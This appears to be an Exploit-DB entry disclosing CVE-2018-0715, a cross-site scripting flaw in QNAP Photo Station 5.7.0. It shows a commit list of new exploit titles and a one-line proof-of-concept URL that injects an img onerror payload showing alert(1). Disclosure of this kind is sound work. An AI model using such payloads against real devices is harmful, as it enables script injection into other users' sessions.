76af808136
6 changes to exploits/shellcodes DVD Photo Slideshow Professional 8.07 - Buffer Overflow (SEH) iSmartViewPro 1.5 - 'SavePath for ScreenShots' Local Buffer Overflow (SEH) Tenable WAS-Scanner 7.4.1708 - Remote Command Execution D-Link Dir-600M N150 - Cross-Site Scripting MedDream PACS Server Premium 6.7.1.1 - 'email' SQL Injection Softneta MedDream PACS Server Premium 6.7.1.1 - Directory Traversal QNAP Photo Station 5.7.0 - Cross-Site Scripting
13 lines
No EOL
468 B
Text
13 lines
No EOL
468 B
Text
# Exploit Title: QNAP Photo Station 5.7.0 - Cross-Site Scripting
|
|
# Google Dork: N/A
|
|
# Date: 2018-09-07
|
|
# Exploit Author: Mitsuaki (Mitch) Shiraishi - secureworks
|
|
# Vendor Homepage: https://www.qnap.com/ja-jp/security-advisory/nas-201808-23
|
|
# Software Link: N/A
|
|
# Version: QNAP Photo Station versions 5.7.0 and earlier
|
|
# Tested on: N/A
|
|
# CVE : CVE-2018-0715
|
|
|
|
# PoC:
|
|
|
|
https://***.***.***.***:8080/photo/abc/<img%20src%3Da.jpg%20onerror%3D%22alert(1)%22>.txt |